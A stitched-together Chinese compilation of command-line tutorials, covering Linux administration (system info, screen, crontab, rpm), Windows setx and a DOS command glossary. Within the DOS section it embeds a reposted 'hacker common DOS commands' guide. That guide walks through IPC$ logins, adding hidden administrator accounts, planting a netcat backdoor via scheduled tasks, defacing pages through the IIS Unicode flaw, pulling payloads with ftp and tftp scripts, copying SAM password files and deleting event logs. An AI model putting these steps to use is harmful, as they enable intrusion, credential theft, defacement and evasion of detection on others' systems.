1. 资深Linux运维工程师必须掌握的核心命令
查看CPU信息可以使用lscpu命令
从命令的输出结果可以看得出来CPU的型号是 Intel(R) Core(TM) i9-8950HK CPU @ 2.90GHz,CPU(s)是4表示同时可以执行四个任务。
如果想要同时执行更多的任务,可以在VMware WorkStation中修改,修改完成以后会立即生效。
除了lscpu以外,还可以使用cat /proc/cpuinfo命令查看CPU信息,不过它是以每核分开显示的。
使用free或者是cat /proc/meminfo可以查看当前系统的内存信息,包括总内存、已经使用内存以及可用内存信息
Linux和Windows不同的是Linux的图形界面只是它的一个程序,而不是必备组件。我们之前安装CentOS8.4选择的Server With GUI包含GNOME桌面的图形环境,我们可以使用init 3命令关闭图形,CentOS8会出现一个字符登录界面。
然后再使用free -h观察已经使用的内存只有334M,相比图形界面的730M 减少了接近400M内存,为了节省内存,生产环境一般不会安装和使用图形界面。
想要再切回图形界面使用init 5命令即可。
还可以使用runlevel命令查看当前系统运行的模式,其中输出结果的3表示之前是字符界面,5表示当前系统运行的是图形界面
使用lsblk命令可以查看磁盘信息,包括有几块磁盘以及每块磁盘的分区、容量信息
通过命令的执行结果可以得知目前CentOS8系统上有三块磁盘,分别是sda,sdb,sdc,其中sdb和sdc没有分区,
而sda磁盘是在安装系统时创建了四个分区,具体信息如下表格所示
除此以外还可以使用 cat /proc/partitions命令查看磁盘信息,从命令的执行结果可以看出容量还是以KB为单位。
通过arch命令可以查看当前系统架构为x86_64,这也是目前主流的系统架构。
不同的Linux发行版使用的Linux内核版本不同,通过uname -r可以查看Linux系统的内核版本
通过 cat /etc/os-release 命令或者是lsb_release -a命令可以查看操作系统的版本,后期在开发程序时不同的操作系统版本需要做不同的处理。
查看Ubuntu Server的版本
查看CentOS8的版本
CentOS还可以使用 cat /etc/redhat-release版本
Linux中的时间有系统时间和硬件时间两种
date和clock可以使用分号隔开后同时执行看系统时间和硬件时间
目前我的系统时间和硬件时间相差了18秒
如果硬件时间是准确的,那么就通过命令clock -s以硬件时间为准,同步校正系统时间。
如果系统时间是准确的,那么通过clock -w命令以系统时间为准,同步校正硬件时间
不同的国家在同一时刻所处的时间是不同的,因为时区不同。
例如中国就是东八区,东八区和格林威治的时区相比相差8个小时(也就是比北京时间慢了8个小时),之前在安装操作系统的时候设置的时区就是Asia/Shanghai,,通过timedatectl status查看当前时间状态,其中 Universal time就是格林威治时间,而Local Time就是系统设置时区(Asia/Shanghai)的时间,它们两者刚好相差了8个小时。 Time zone: Asia/Shanghai (CST, +0800) 表示当前的时区是亚洲上海。
如果现在你去了法国巴黎,可以通过timectl set-timezone 设置时区为欧洲巴黎,当修改时区后使用date命令查看系统时间显示的就是当前法国的巴黎时间,相比北京时间慢了6个小时。
修改时区最终影响的是 /etc/localtime文件
不过目前我在中国,因此还是改回亚洲上海
timedatectl list-timezones可以查看所有时区
cal命令可以查看当前月份的日历,例如今天是2021年10月5号
查看指定月份的日历
还可以查看指定年份的日历
生产环境不能随便关机和重启!!! 因为服务器基本都是 7*24 对外提供服务
测试环境或者是本地虚拟机安装的Linux服务器可以按需求关机或者重启
关机可以使用halt或者poweroff命令
而shutdown可以实现关机或者重启,shutdown -r表示重启,即reboot,shutdown -h表示关机,即halt。 -c表示取消关机或重启。
除此以外shutdown 还可以指定时间来关机或重启,默认是1分钟后执行。
关机和重启命令的常见用法
Linux下有nano和vim等文本编辑器,目前我们先使用nano来编辑文本。
如果系统上没有安装nano文本编辑器,那么在使用之前首先需要使用yum install -y nano命令来安装nano文本编辑器
在使用nano进行文本编辑时,nano后面跟文件路径即可打开文件,然后可以直接修改文件,类似于windows的记事本,修改完成后然后按Ctrl+x退出,接着按y保存修改,回车后退出nano。
然后使用nano /etc/motd来修改该文件,motd文件是用户登录之后提示的内容
然后输入Welcome to my class
之后按Ctrl+x退出nano编辑器,按y保存到文件汇中,然后按回车键确认修改。
再重新登录CentOS8.4
登录成功之后就会看到/etc/motd文件内容显示在终端上
我这里准备了一个motd文件,首先使用MobaXterm终端上传到/etc目录下覆盖现有的motd文件,在使用MobaXterm终端登录CentOS8.4-1后,首先将SSH Broswer的路径切换到/etc目录下
然后点击上传文件的按钮
选择提前准备好的motd文件上传到/etc目录下
然后再次重新登录系统就会看到一个大佛
大家可以自行访问https://www.bootschool.net/ascii-art 在线生成ASCII(图)艺术字,然后将内容复制到motd文件即可。
当我们登录Linux打开一个终端窗口,然后输入命令,用户与计算机的这种临时交互被称为一次会话(Session)、会话的一个重要的特点就是窗口与其中启动的进程是连接在一起的,打开窗口则会话开始,关闭窗口则会话结束,而且会话内部的进程也会随之而终止,不管有没有运行完成。
这里举一个例子,我们首先使用XShell远程登录CentOS8.4-1,然后使用ping 10.0.0.103命令检测是否能够连接10.0.0.103,也就是Ubuntu Server 20.04.3-1那台机器
命令执行的结果显示能够连接,而且只要你不关闭窗口会一直显示收到数据以及耗时。
然后我们复制一个会话
然后使用ps aux|grep ping 查看ping的进程信息,因为没有关闭会话窗口所以进程还在
当我们关闭之前开启的会话窗口之后
再次使用ps aux|grep ping查看进程会发现ping进程不存在了
为了解决上述的问题,我们就可以将会话与窗口解绑,也就是窗口关闭时会话并不会终止,而是继续运行,等到以后需要的时候,再让会话绑定其他窗口。
而终端复用器程序(例如screen,tmux)就是将会话与窗口的解绑工具,将它们彻底分离。
首次运行screen时会发现Shell提示command not found
我们需要使用yum install -y screen 来安装screen,但是执行之后发现提示错误:: Unable to find a match: screen
Centos8安装screen需要使用epel来安装,安装epel后,再安装screen,解决centos8无法安装screen的问题
然后再执行yum install -y screen 便可安装成功
Screen安装成功
在安装完screen后就可以使用了,首先在终端输入screen,然后你就会看到屏幕好像是刷新了一下,本质就是一个会话
然后再次运行ping 10.0.0.103
由于开启了screen,即使关闭了所有的会话窗口,你会发现使用ps aux |grep ping 命令查看ping命令的进程也还在。
如果后期在做运维工作,有些命令很耗时又怕误操作关闭会话导致命令的进程关闭就可以使用screen。
screen除了创建会话,能让命令关闭窗口后继续在后台执行的功能以外,还能够实现远程桌面共享,从而实现远程协助的功能。
实现该功能必须满足两个条件,两个用户必须使用同一个账号登录同一台机器。
例如这里小红和小明同时使用root账号登录了CentOS8.4,其中左边的窗口是小红,右边的窗口是小明
然后小红使用screen -S help开启一个远程会话,会话的名称叫help
然后小明使用screen -x help加入小红开启的会话
此时小明可以看到小红窗口的内容
当小明解决小红的问题后,可以使用ctrl a,d退出当前会话
如果小明不知道小红的会话名称,可以使用screen -ls获取当前会话
echo就是用于输出信息
echo输出固定字符串
echo输出变量值
echo输出转义字符
echo 默认可以实现换行
echo输出信息还可以带颜色
echo还可以清除屏幕,等价于clear命令或者是快捷键Ctrl+l
2. Windows系统命令行设置环境变量
Windows系统命令行设置环境变量
以下命令均需在Windows的CMD环境(即“命令提示符”软件)中执行。
1. 使用set命令
用于设置临时环境变量。只在当前命令行窗口中有效。
例如,设置名为CLASSPATH的环境变量,执行下面的命令,
set CLASSPATH=D:\javalibs\lib1
# 查看 CLASSPATH
$ echo %CLASSPATH%
2. 使用命令setx
用于设置用户环境变量和系统环境变量。默认设置是本地环境,通过选项 /m 设置系统环境变量。
# 永久设置 GIT_HOME 变量为 abc
$ setx /m GIT_HOME abc
# 将 C:\Program Files (x86)\Microsoft Visual Studio 14.0\VC\bin 追加到 PATH 变量
$ setx -m PATH "%PATH%;C:\Program Files (x86)\Microsoft Visual Studio 14.0\VC\bin"
注:上面 setx 命令后面用引号可以去除空格的影响,不加引号,会出现如下错误:
错误:无效语法。默认选项不允许超过 '2' 次。
键入 “SETX /?” 以了解用法。
3. Linux常用基本命令(六)
1)service network status 查看指定服务的状态
2)service network stop 停止指定服务
3)service network start 启动指定服务
4)service network restart 重启指定服务
5)service --status-all 查看系统中所有的后台服务
1)chkconfig 查看所有服务器自启配置
2)chkconfig iptables off 关掉指定服务的自动启动
3)chkconfig iptables on 开启指定服务的自动启动
[root@bigdata111 ~]# service crond restart (重新启动服务)
1)基本语法
crontab [选项]
选项:
-e: 编辑crontab定时任务
-l: 查询crontab任务
-r: 删除当前用户所有的crontab任务
2)参数说明
[root@bigdata111 ~]# crontab -e
(1)进入crontab编辑界面。会打开vim编辑你的工作。
* * * * * 执行的任务
(2)特殊符号
(3)特定时间执行命令
3)案例:
*/5 * * * * /bin/echo ”11” >> /tmp/test
*/1 * * * * /bin/echo ”11” >> /opt/TZ/ITSTAR
RPM包的名称格式
Apache-1.3.23-11.i386.rpm
- “apache” 软件名称
- “1.3.23-11”软件的版本号,主版本和此版本
- “i386”是软件所运行的硬件平台
- “rpm”文件扩展名,代表RPM包
1)基本语法:
rpm -qa (功能描述:查询所安装的所有rpm软件包)
过滤
rpm -qa | grep rpm软件包
2)案例
[root@bigdata111 Packages]# rpm -qa |grep firefox
firefox-45.0.1-1.el6.centos.x86_64
1)基本语法:
(1)rpm -e RPM软件包
或者(2) rpm -e --nodeps 软件包
--nodeps 如果该RPM包的安装依赖其它包,即使其它包没装,也强迫安装。
2)案例
[root@bigdata111 Packages]# rpm -e firefox
1)基本语法:
rpm -ivh RPM包全名
-i=install,安装
-v=verbose,显示详细信息
-h=hash,进度条
--nodeps,不检测依赖进度
2)案例
[root@bigdata111 Packages]# pwd
/media/CentOS_6.8_Final/Packages
[root@bigdata111 Packages]# rpm -ivh firefox-45.0.1-1.el6.centos.x86_64.rpm
warning: firefox-45.0.1-1.el6.centos.x86_64.rpm: Header V3 RSA/SHA1 Signature, key ID c105b9de: NOKEY
Preparing... ########################################### [100%]
1:firefox ########################################### [100%]
4. CMD里怎么显示文件名的一段
用echo。写给你看看。@echo off (表示隐藏命令)echo KB944338 (显示字符“KB944338")start WindowsXP-KB944338-v2-x86-CHS.exe (执行 ” WindowsXP-KB944338-v2-x86-CHS.exe “)
5. 谁有DOS命令的解释哦.
ATTRIB 文件属性(显示或改变属性)
CHDIR(CD) 改变目录
CHKDSK 检查磁盘
CHOICE 提示击键输入
CLS 清屏幕
COMMAND 重新加载MS-DOS程序
COPY 复制文件
DATE 设置显示日期
DEBUG 调试程序
DEFRAG 清除磁盘碎片
DEL(ERASE) 删除文件
DELOLDOS 删除旧DOS文件
DELTREE 删除目录树分支
DIR 显示目录
DISKCOMP 比较软盘内容
DISKCOPY 复制磁盘
DOS 扩展扩充内存管理
DOSSHELL DOS外层
DRIVPARM 定义驱动器参数
EDIT 编辑器
EMM386 内存管理
ERASE 删除文件
DBLSPACE 磁盘压缩
EXPAND 释放压缩
FASTHELP 快速求助
FC 文件比较
FDISK 磁盘分区
FIND 搜寻指定字串
FOR 循环执行命令
FORMAT 格式化磁盘
MEM 内存使用情况显示
MKDIR(MD) 建立子目录
MSAV 检查和清除病毒
MSBACKUP 磁盘文件务份
PATH 设置搜索路径
PAUSE 暂停执行命令
RESTORE 磁盘文件转储
RENAME(REN) 文件重新命名
RMDIR(RD) 删除目录
SCANDISK 检查磁盘
SYS 传送系统文件
TIME 设置显示时间
TREE 显示目录结构
TYPE 显示文件内容
UNDELETE 恢复被删除文件
VER 显示系统版本号
VOL 显示卷标
VSAFE 病毒检查
XCOPY 复制组文件
APPEND 补充路径
BREAK 检查控制中断
BUFFERS 设置磁盘缓冲区数
CALL 调用批文件
CHCP 转换码页
COUNTRY 确定国家标准货币
CTTY 改变控制台
DEVICE 安装设备驱动程序
DEVICEHIGH 装载设备驱动程序
ECHO 命令显示开关
FASTOPEN 快速加载文件
FCBS 使用文件控制块
FILES 同时打开文件数
GOTO 转向分支
GRAPHICS 图形屏幕打印
HELP 求助
IF 设定条件
INCLUDE 简化多重配置块
INSTALL 安装常驻程序
INTERLNK 计算机互连
INTERSVR 与服务器互连
KEYB 装载字符转换表
LABEL 卷标
LASTDRIVE 置最大驱动器数
LOADFIX 装入固定内存
LOADHIGH(LH) 高内存程序装载
MEMMAKER 检查内存
MENUCOLOR 设置显示选项
MODE 设置硬件工作方式
MSCDEX 访问CD驱动器
MSO 检查系统配置
NLSFUNC 支持各国语言
NUMLOCK 控制NUMLOCK键
POWER 节省电能
PRINT 后台打印
PROMPT 改变系统提示
QBASIC 启动QB
REM 注释信息
REPLACE 替换文件
SET 设置环境变量
SETUP 安装DOS6。2文件
SETVER 改变DOS版本表
SHARE 网络文件共享
SHELL 装载命令处理程序
SMARTDRV 磁盘缓冲
SORT 文件排序
STACKS 支持动态使用的数据线
SUBMENU 菜单项(配置CONFIG。SYS)
SUBST 设置虚拟驱动器
SWITCHES 键盘开关
VRIFY 磁盘检验
》:建立子目录命令 MD (内部命令)
功能:在指定盘的指定目录下建立一个子目录
格式:MD [盘符][路径]子目录名
注意:1。不能建立根目录与目标目录下已经存在的目录
2。缺省路径时则表示在当前目录下建立
2》:改变当前目录目录命令: CD (内部命令)
功能:设置指定盘的当前目录
格式:CD [盘符][路径]
注意:CD 表示显示当前目录
CD..表示退回到根目录
CD/ 表示退回到上一级目录
3》:删除子目录命令:RD (内部命令)
功能: 从指定的盘符上删除子目录
格式: CD [盘符][路径]子目录名
注意:1。要删除的目录必须为空目录,如果不为空目录,先来到该目录,用 DEL *.*删除该目录下的所有内容
再回到上一级目录,用RD命令删除该目录
2。不能删除当前目录与根目录
4》:列文件目录命令:DIR (内部命令)
功能:显示指定盘、指定目录下所包含的文件与下一级子目录的有关信息
格式:DIR [盘符][路径][文件名][/P][/W]
[/P]表示分屏显示
[/W]表示压缩显示
5》:显示全盘目录命令:TREE (外部命令)
功能:显示指定盘的目录结构
格式:[盘符][路径]TREE [盘符1][/F]
[/F]表示列出各级子目录的文件名
6》:设置查找目标命令PATH (内部命令)
功能:设置外部文件的查找目录
格式: PATH [盘符][路径][;盘符][路径]……
注意:1。显示上次PATH命令设置的查找文件目录命令用:
PATH
2。删除上次PATH命令设置的文件查找目录用:
PATH;
7》:删除目录命令:DELTREE
功能:将整个目录及其子目录和文件全部删除
格式:DELLTREE [盘符][路径]目标文件
注意:全部删除、不论是否系统、隐藏、还是只读
黑客常用dos命令(转)
一般黑客入侵所需要的几个常用命令
1:NET
只要你拥有某IP的用户名和密码,那就用IPC$做连接吧!
这里我们假如你得到的用户是hbx,密码是123456。假设对方IP为127.0.0.1
net use \\127.0.0.1\ipc$ "123456" /user:"hbx"
退出的命令是
net use \\127.0.0.1\ipc$ /delte
下面的操作你必须登陆后才可以用.登陆的方法就在上面.
----------------------
下面我们讲怎么创建一个用户,由于SA的权限相当于系统的超级用户.
我们加一个hei的用户密码为lovechina
net user hei lovechina /add
只要显示命令成功,那么我们可以把他加入Administrator组了.
net localgroup Administrators hei /add
----------------------
这里是讲映射对方的C盘,当然其他盘也可以,只要存在就行了.我们这里把对方的C盘映射到本地的Z盘.
net use z:\\127.0.0.1\c$
----------------------
net start telnet
这样可以打开对方的TELNET服务.
----------------------
这里是将Guest用户激活,guest是NT的默认用户,而且无法删除呢?不知道是否这样,我的2000就是删除不了它。
net user guest /active:yes
----------------------
这里是把一个用户的密码改掉,我们把guest的密码改为lovechina,其他用户也可以的。只要有权限就行了呀!
net user guest lovechina
net命令果然强大啊!
2:at
一般一个入侵者入侵后都会留下后门,也就是种木马了,你把木马传了上去,怎么启动他呢?
那么需要用AT命令,这里假设你已经登陆了那个服务器。
你首先要得到对方的时间,
net time \\127.0.0.1
将会返回一个时间,这里假设时间为12:1,现在需要新建一个作业,其ID=1
at \\127.0.0.1 12:3 nc.exe
这里假设了一个木马,名为NC.EXE,这个东西要在对方服务器上.
这里介绍一下NC,NC是NETCAT的简称,为了方便输入,一般会被改名.它是一个TELNET服务,端口为99.
等到了12:3就可以连接到对方的99端口.这样就给对方种下了木马.
3:telnet
这个命令非常实用,它可以与远方做连接,不过正常下需要密码、用户,不过你给对方种了木马,直接连到这个木马打开的端口.
telnet 127.0.0.1 99
这样就可以连到对方的99端口.那你就可以在对方运行命令了,这个也就是肉鸡.
4:FTP
它可以将你的东西传到对方机子上,你可以去申请个支持FTP上传的空间,国内多的是,如果真的找不到,我给个www.51.NET,不错的.当我们申请完后,它会给用户名,密码,以及FTP服务器.
在上传前需要登陆先,这里我们假设FTP服务器是www.51.NET,用户名是HUCJS,密码是654321
ftp www.51.net
他会要求输入用户,成功后会要求输入密码.
----------------------
下面先说上传,假设你需上传的文件是INDEX.HTM,它位于C:\下,传到对方D:\
get c:\index.htm d:\
假设你要把对方C盘下的INDEX.HTM,下到你的机子的D盘下
put c:\index.htm d:\
5:
下面我说说怎样把本地的文件复制到对方硬盘上去,需要建立好IPC$连接才有效。
这里我们把本地C盘下的index.htm复制到127.0.0.1的C盘下
index.htm \\127.0.0.1\c$\index.htm
----------------------
如果你要复制到D盘下把C改为D,就行了!
index.htm \\127.0.0.1\d$\index.htm
----------------------
如果你要把他复制到WINNT目录里
就要把输入
index.htm \\127.0.0.1\admin$\index.htm
admin$是winnt
----------------------
要把对方的文件复制过来,顺便告诉大家NT的备份的数据库放在x:\winnt\repair\sam._ sam._是数据库的文件名
下面就把127.0.0.1的数据库复制到本地C盘下
\\127.0.0.1\admin$\repair\sam._ c:\
----------------------
6:set
如果你跑进了一部机子,而且想黑他(这思想只能在特别时候才准有),当然他的80端口要开,不然你黑给谁看。这时需要用SET命令!
下面是我得到的结果!我来分析它,只是找主页在那而已。
COMPUTERNAME=PENTIUMII
ComSpec=D:\WINNT\system32\cmd.exe
CONTENT_LENGTH=0
GATEWAY_INTERFACE=CGI/1.1
HTTP_ACCEPT=*/*
HTTP_ACCEPT_LANGUAGE=zh-cn
HTTP_CONNECTION=Keep-Alive
HTTP_HOST=当前登陆者的IP,这里本来是显示我的IP,被我删除了
HTTP_ACCEPT_ENCODING=gzip, deflate
HTTP_USER_AGENT=Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)
NUMBER_OF_PROCESSORS=1
Os2LibPath=D:\WINNT\system32\os2\dll;
OS=Windows_NT
Path=D:\WINNT\system32;D:\WINNT
PATHEXT=.COM;.EXE;.BAT;.CMD
PATH_TRANSLATED=E:\vlroot主页放在的地址,只要你看到PATH_TRANSLATED=的后面就是主页的存放地址。这里是E:\vlroot
PROCESSOR_ARCHITECTURE=x86
PROCESSOR_IDENTIFIER=x86 Family 6 Model 3 Stepping 3, GenuineIntel
PROCESSOR_LEVEL=6
PROCESSOR_REVISION=0303
PROMPT=$P$G
QUERY_STRING=/c+set
REMOTE_ADDR=XX.XX.XX.XX
REMOTE_HOST=XX.XX.XX.XX
REQUEST_METHOD=GET
SCRIPT_NAME=/scripts/..%2f../winnt/system32/cmd.exe
SERVER_NAME=XX.XX.XX.XX
SERVER_PORT=80
SERVER_PORT_SECURE=0
SERVER_PROTOCOL=HTTP/1.1
SERVER_SOFTWARE=Microsoft-IIS/3.0对方使用IIS/3.0
SystemDrive=D:
SystemRoot=D:\WINNT
TZ=GMT-9
USERPROFILE=D:\WINNT\Profiles\Default User
windir=D:\WINNT
粉红色的那行就是对方主页存放地址,这里告诉大家一个技巧,很笨的技巧啊,不过只能用这个方法才能100%的找到主页的名称,当你DIR这个目录时,一定会看到很多文件,你可以把所有文件在浏览器这样输入XX.XX.XX.XX/文件名,这样只要看到和XX.XX.XX.XX看到的也面一模一样,那么这就是主页的名称了。
7:nbtstat
如果你扫到一部NT的机子,他的136到139其中一个端口开了的话,就要用这个命令得到用户了。顺便告诉大家这是netbios,得到用户名后就可以猜猜密码了。例如比较简单的密码,密码和用户名一样的,都试下,不行就暴力破解吧!
现在网上很多NT的机子都开了这些端口的,你可以练习下,我们来分析得到的结果。
命令是
nbtstat -A XX.XX.XX.XX
-A一定要大写哦。
下面是得到的结果。
NetBIOS Remote Machine Name Table
Name Type Status
---------------------------------------------
Registered Registered Registered Registered Registered Registered Registered Reg
istered Registered Registered Registered
MAC Address = 00-E0-29-14-35-BA
PENTIUMII <00> UNIQUE
PENTIUMII <20> UNIQUE
ORAHOTOWN <00> GROUP
ORAHOTOWN <1C> GROUP
ORAHOTOWN <1B> UNIQUE
PENTIUMII <03> UNIQUE
INet~Services <1C> GROUP
IS~PENTIUMII...<00> UNIQUE
ORAHOTOWN <1E> GROUP
ORAHOTOWN <1D> UNIQUE
..__MSBROWSE__.<01> GROUP
粉红色的就是登陆过这部系统的用户,可能你不知道怎么看,大家是不是看到了一窜数字,只要这窜数字是<03>的话,那他前面的就是用户。
这里的用户是PENTIUMII。
8:Shutdown
关了对方的NT服务器的命令
Shutdown \\IP地址 t:20
20秒后将NT自动关闭,三思后才能运行这个命令,这样对对方造很大的损失,要做个有良心的入侵者呀。
9:DIR
这个命令没什么好讲,但是却非常重要,他是查看一目录里的所有文件、文件夹。
你可以本地试下。
10:echo
着名的漏洞Unicode,这个命令可以简单的黑一下有这个漏洞的主机。
我们假设我们要把“反独裁,反一党制!”写入index.htm,有2种方法,大家看看有什么区别。
echo 反独裁,反一党制!>index.htm
echo 反独裁,反一党制!>>index.htm
第一个的意思是覆盖index.htm原有的内容,把“反独裁,反一党制!”写进index.htm。
第二个的意思是把“反独裁,反一党制!”加到index.htm里面。
“>>”产生的内容将追加进文件中,“>”则将原文件内容覆盖。
大家可以本地试下。
可能你会问,这样简单黑下有什么好玩的,其实他可以用来下载主页到对方的目录里。
1、首先,我们需要申请一个免费的主页空间。
2、用echo在可写目录下建立如下内容的txt文件:(以chinren服务器为例。)
open upload.chinaren.com(你的FTP服务器,申请时你的空间提供商会给你的)
cnhack(你申请时的用户名)
test(你申请时的密码)
get index.htm c:\inetpub\wwwroot\index.htm(这里是把你空间上的index.htm下载到对方的c:\inetpub\wwwroot\index.htm)
bye(退出FTP对话,相当在98下的DOS,用EXIT退出DOS)
具体的做法:
输入 echo open upload.chinaren.com> c:\cnhack.txt
输入 echo cnhack >> c:\cnhack.txt
输入 echo 39abs >> c:\cnhack.txt
输入 echo get index.htm c:\inetpub\wwwroot\index.htm+>>+c:\cnhack.txt
最后输入 ftp -s:c:\cnhack.txt (利用ftp的-s参数,执行文件里的内容。)
等命令完成时,文件已经下载到你指定的文件里了。
注意:取得文件后,请删除cnhack.txt。(如果不删除,很容易会给别人看到你的密码。)
记得要 del c:\cnhack.txt
11:attrib
这个命令是设置文件属性的。如果你想黑一个站,而他的主页的文件属性设置了只读,那就很可怜呀,想删除他也不行,想覆盖他也不行。倒!不过有这个命令就别怕了。
attrib -r index.htm
这个命令是把index.htm的只读属性去掉。
如果把“-”改为“+”则是把这个文件的属性设置为只读
----------------------
attrib +r index.htm
这个命令是把index.htm的属性设置为只读。
12:del
当你看到这个标题可别倒下啊!现在要离开127.0.0.1了,要删除日志,当然要删除日志啦!想被捉吗。呵呵。
NT的日志有这些
del C:\winnt\system32\logfiles\*.*
del C:\winnt\ssytem32\config\*.evt
del C:\winnt\system32\dtclog\*.*
del C:\winnt\system32\*.log
del C:\winnt\system32\*.txt
del C:\winnt\*.txt
del C:\winnt\*.log
只要删除这些就可以了。有些系统NT安装在D盘或其他盘,就要把C改成其他盘。
黑客常用dos命令2
建立一个空连接
命令:net use \\192.168.0.198\ipc$ "" /user:"administrator"
查看远程主机的共享资源
命令:net view \\ip
查看远程主机的当前时间
命令: net time \\ip
得到远程主机的NetBIOS用户名列表(需要打开自己的NBT)
命令:nbtstat -A ip
删除连接:
net use \\127.0.0.1\ipc$ /del
映射/删除远程共享:
net use z: \\127.0.0.1\c
向远程主机复制文件:
路径\文件名 \\IP\共享目录名,如:
d:\3389.exe \\IP\c$ 即将d盘下的3389.exe复制到对方c盘内
把远程主机上的文件复制到自己的机器里:
\\127.0.0.1\c$\xinxin.exe c:\
远程添加计划任务:
at \\IP 时间 程序名 如:
at \\IP 11:00 3389.exe
1)查看本地主机的共享资源(可以看到本地的默认共享)
net share
2)得到本地主机的用户列表
net user
3)显示本地某用户的帐户信息
net user 帐户名
4)显示本地主机当前启动的服务
net start
5)启动/关闭本地服务
net start 服务名
net stop 服务名
6)在本地添加帐户
net user 帐户名 密码 /add
7)激活禁用的用户
net uesr 帐户名 /active:yes
8)加入管理员组
net localgroup administrators xuliguo /add
tftp -i 你的IP get **.exe c:\winnt\system32\**.exe
m溢出的对方SHELL后在DOS下上传木马
tftp -i 自已的IP get ***.exe
time
at \\对方的IP 时间 ***.exe
DOS命令大全
一)MD——建立子目录
1.功能:创建新的子目录
2.类型:内部命令
3.格式:MD[盘符:][路径名]〈子目录名〉
4.使用说明:
(1)“盘符”:指定要建立子目录的磁盘驱动器字母,若省略,则为当前驱动器;
(2)“路径名”:要建立的子目录的上级目录名,若缺省则建在当前目录下。
例:(1)在C盘的根目录下创建名为FOX的子目录;(2)在FOX子目录下再创建USER子目录。
C:、>MD FOX (在当前驱动器C盘下创建子目录FOX)
C:、>MD FOX 、USER (在FOX 子目录下再创建USER子目录)
(二)CD——改变当前目录
1.功能:显示当前目录
2.类型:内部命令
3.格式:CD[盘符:][路径名][子目录名]
4.使用说明:
(1)如果省略路径和子目录名则显示当前目录;
(2)如采用“CD、”格式,则退回到根目录;
(3)如采用“CD.。”格式则退回到上一级目录。
例:(1)进入到USER子目录;(2)从USER子目录退回到子目录;(3)返回到根目录。
C:、>CD FOX 、USER(进入FOX子目录下的USER子目录)
C:、FOX、USER>CD.。 (退回上一级根目录)
C:、FOX>CD、 (返回到根目录)
C:、>
(三)RD——删除子目录命令
1.功能:从指定的磁盘删除了目录。
2.类型:内部命令
3.格式:RD[盘符:][路径名][子目录名]
4.使用说明:
(1)子目录在删除前必须是空的,也就是说需要先进入该子目录,使用DEL(删除文件的命令)将其子目录下的文件删空,然后再退回到上一级目录,用RD命令删除该了目录本身;
(2)不能删除根目录和当前目录。
例:要求把C盘FOX子目录下的USER子目录删除,操作如下:
第一步:先将USER子目录下的文件删空;
C、>DEL C:、FOX、USER、*。*
第二步,删除USER子目录。
C、>RD C:、FOX、USER
(四)DIR——显示磁盘目录命令
1.功能:显示磁盘目录的内容。
2.类型:内部命令
3.格式:DIR [盘符][路径][/P][/W]
4.
使用说明:/P的使用;当欲查看的目录太多,无法在一屏显示完屏幕会一直往上卷,不容易看清,加上/P参数后,屏幕上会分面一次显示23行的文件信息,然后暂停,并提示;Press
any key to continue
/W的使用:加上/W只显示文件名,至于文件大小及建立的日期和时间则都省略。加上参数后,每行可以显示五个文件名。
PATH——路径设置命令
1.功能:设备可执行文件的搜索路径,只对文件有效。
2.类型:内部命令
3.格式:PATH[盘符1]目录[路径名1]{[;盘符2:],〈目录路径名2〉…}
4.使用说明:
(1)当运行一个可执行文件时,DOS会先在当前目录中搜索该文件,若找到则运行之;若找不到该文件,则根据PATH命令所设置的路径,顺序逐条地到目录中搜索该文件;
(2)PATH命令中的路径,若有两条以上,各路径之间以一个分号“;”隔开;
(3)PATH命令有三种使用方法:
PATH[盘符1:][路径1][盘符2:][路径2]…(设定可执行文件的搜索路径) PATH:(取消所有路径)
PATH:(显示目前所设的路径)
(六)TREE——显示磁盘目录结构命令
1.功能:显示指定驱动器上所有目录路径和这些目录下的所有文件名。
2.类型:外部命令
3.格式:TREE[盘符:][/F][》PRN]
4.使用说明:
(1)使用/F参数时显示所有目录及目录下的所有文件,省略时,只显示目录,不显示目录下的文件;
(2)选用>PRN参数时,则把所列目录及目录中的文件名打印输出。
(七)DELTREE——删除整个目录命令
1.功能:将整个目录及其下属子目录和文件删除。
2.类型:外部命令
3.格式:DELTREE[盘符:]〈路径名〉
4.使用说明:该命令可以一步就将目录及其下的所有文件、子目录、更下层的子目录一并删除,而且不管文件的属性为隐藏、系统或只读,只要该文件位于删除的目录之下,DELTREE都一视同仁,照删不误。使用时务必小心!!!
五、磁盘操作类命令
(一)formAT——磁盘格式化命令
1.功能:对磁盘进行格式化,划分磁道和扇区;同时检查出整个磁盘上有无带缺陷的磁道,对坏道加注标记;建立目录区和文件分配表,使磁盘作好接收DOS的准备。
2.类型:外部命令
3.格式:formAT〈盘符:〉[/S][/4][/Q]
4.使用说明:
(1)命令后的盘符不可缺省,若对硬盘进行格式化,则会如下列提示:WARNING:ALL DATA ON NON
——REMOVABLE DISK
DRIVE C:WILL BE LOST !
Proceed with format (Y/N)?
(警告:所有数据在C盘上,将会丢失,确实要继续格式化吗?)
(2)若是对软盘进行格式化,则会如下提示:Insert mew diskette for drive A;
and press ENTER when ready…
(在A驱中插入新盘,准备好后按回车键)。
(3)选用[/S]参数,将把DOS系统文件IO.SYS
、MSDOS.SYS及COMMAND.COM复制到磁盘上,使该磁盘可以做为DOS启动盘。若不选用/S参数,则格式化后的磙盘只能读写信息,而不能做为启动盘;
(4)选用[/4]参数,在1.2MB的高密度软驱中格式化360KB的低密度盘;
(5)选用[/Q]参数,快速格式化,这个参数并不会重新划分磁盘的磁道貌岸然和扇区,只能将磁盘根目录、文件分配表以及引导扇区清成空白,因此,格式化的速度较快。
(6)选用[/U]参数,表示无条件格式化,即破坏原来磁盘上所有数据。不加/U,则为安全格式化,这时先建立一个镜象文件保存原来的FAT表和根目录,必要时可用UNFORRMAT恢复原来的数据。
(二)UNformAT恢复格式化命令
1.功能:对进行过格式化误操作丢失数据的磁盘进行恢复。
2.类型:外部命令
3.格式:UNformAT〈盘符〉[/L][/U][/P][/TEST]
4.使用说明:用于将被“非破坏性”格式化的磁盘恢复。根目录下被删除的文件或子目录及磁盘的系统扇区(包括FAT、根目录、BOOT扇区及硬盘分区表)受损时,也可以用UNformAT来抢救。
(1)选用/L参数列出找到的子目录名称、文件名称、大孝日期等信息,但不会真的做formAT工作。
(2)选用/P参数将显示于屏幕的报告(包含/L参数所产生的信息)同时也送到打印机。运行时屏幕会显示:“Print out will
be sent to LPT1”
(3)选用/TEST参数只做模拟试验(TEST)不做真正的写入动作。使用此参数屏幕会显示:“Simulation only”
(4)选用/U参数不使用MIRROR映像文件的数据,直接根据磁盘现状进行UNformAT。
(5)选用/PSRTN;修复硬盘分区表。
